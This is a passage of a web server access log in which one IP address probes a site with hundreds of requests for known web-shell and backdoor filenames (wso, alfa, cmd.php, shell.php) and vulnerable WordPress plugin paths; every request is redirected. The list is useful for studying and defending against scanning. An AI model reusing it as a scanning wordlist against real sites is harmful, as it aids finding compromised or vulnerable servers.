/wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:33 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:34 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:34 -0400] "GET /wp-content/plugins/cifkpgk/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:34 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:34 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:35 -0400] "GET /wp/wp-content/themes/w695elkq/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:35 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:35 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:36 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:36 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:36 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:36 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:37 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:37 -0400] "GET /wp-content/berlin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:37 -0400] "GET /plugins/broken-link-checker/core/utils/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:38 -0400] "GET /wp-content/plugins/qdcitph/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:38 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:38 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:39 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:39 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:39 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:39 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:40 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:40 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:40 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:41 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:41 -0400] "GET /wp-admin/js/widgets/xleet.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:41 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:42 -0400] "GET /wp-content/plugins/contact-form-7-to-database-extension/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:42 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:43 -0400] "GET /wp-content/plugins/erfdsxx/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:43 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:44 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:44 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:44 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:45 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:45 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:45 -0400] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:45 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:46 -0400] "GET /wordpress/wp-content/plugins/pkghsb/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:46 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:46 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:47 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:47 -0400] "GET /wp-includes/SimplePie/HdGGN/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:47 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:47 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:48 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:48 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:48 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:49 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:49 -0400] "GET /wp-content/plugins/upboxtn/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:49 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:50 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:50 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:50 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:51 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:51 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:51 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:51 -0400] "GET /wp/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:52 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:52 -0400] "GET /wp-admin/themes/config HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:53 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:53 -0400] "GET /wp-content/plugins/efhkgws/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:54 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:55 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:56 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:56 -0400] "GET /wp-content/plugins/eblovwl/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:57 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:58 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:58:59 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:00 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:00 -0400] "GET /wp-content/plugins/dapeasyinstaller/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:01 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:02 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:03 -0400] "GET /wp-includes/random_compat/bala.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:04 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:05 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:06 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:07 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:07 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:08 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:08 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:10 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:11 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:11 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:12 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:12 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:13 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:13 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:13 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:14 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:14 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:15 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:15 -0400] "GET /wp-content/plugins/dclxurc/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:15 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:16 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:16 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:17 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:17 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:17 -0400] "GET /api_upload.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:18 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:18 -0400] "GET /wp-content/plugins/pxgpozm/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:18 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:19 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:19 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:19 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:19 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:20 -0400] "GET /wp-content/themes/kzdx3sro/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:20 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:21 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:21 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:21 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:22 -0400] "GET /wp-content/plugins/TOPXOH/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:22 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:23 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:23 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:23 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:24 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:24 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:25 -0400] "GET /sql_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:25 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:25 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:26 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:26 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:27 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:27 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:27 -0400] "GET /wp-content/themes/index HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:27 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:28 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:28 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:29 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:29 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:30 -0400] "GET /wp-includes/gCdfg/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:30 -0400] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:31 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:31 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:31 -0400] "GET /ssl_check.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:32 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:33 -0400] "GET /reportes/wp-content/themes/e6rffsr5/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:33 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:34 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:34 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:34 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:35 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:35 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:36 -0400] "GET /user_data.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:36 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:37 -0400] "GET /utilities.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:37 -0400] "GET /boot.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:38 -0400] "GET /backup/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:38 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:38 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:38 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:39 -0400] "GET /logins.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:39 -0400] "GET /wp-content/themes/astra/inc/metabox/extend-metabox/css/minified/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:40 -0400] "GET /js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:41 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:41 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:42 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:42 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:43 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:43 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:44 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:44 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:45 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:46 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:47 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:48 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:48 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:48 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:49 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:50 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:50 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:51 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:51 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:52 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:52 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:53 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:53 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:54 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:54 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:55 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:55 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:55 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:56 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:57 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:57 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:04:59:57 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:00 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:02 -0400] "GET /wp-content/themes/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:02 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:03 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:06 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:08 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:09 -0400] "GET /wordpress/wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:11 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:12 -0400] "GET /doc.php/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:14 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:18 -0400] "GET /wp-content/plugins/fcexjsk/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:23 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:27 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:31 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:35 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:37 -0400] "GET /wp-includes/agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:37 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:38 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:38 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:39 -0400] "GET /delete.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:40 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:40 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:40 -0400] "GET /wp-includes/template-wploader.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:41 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:41 -0400] "GET /wp-content/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:42 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:44 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:45 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:46 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:47 -0400] "GET /wp-content/plugins/insert-headers-and-footers/languages/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:48 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:48 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:49 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:49 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:50 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:50 -0400] "GET /wp-mail.php 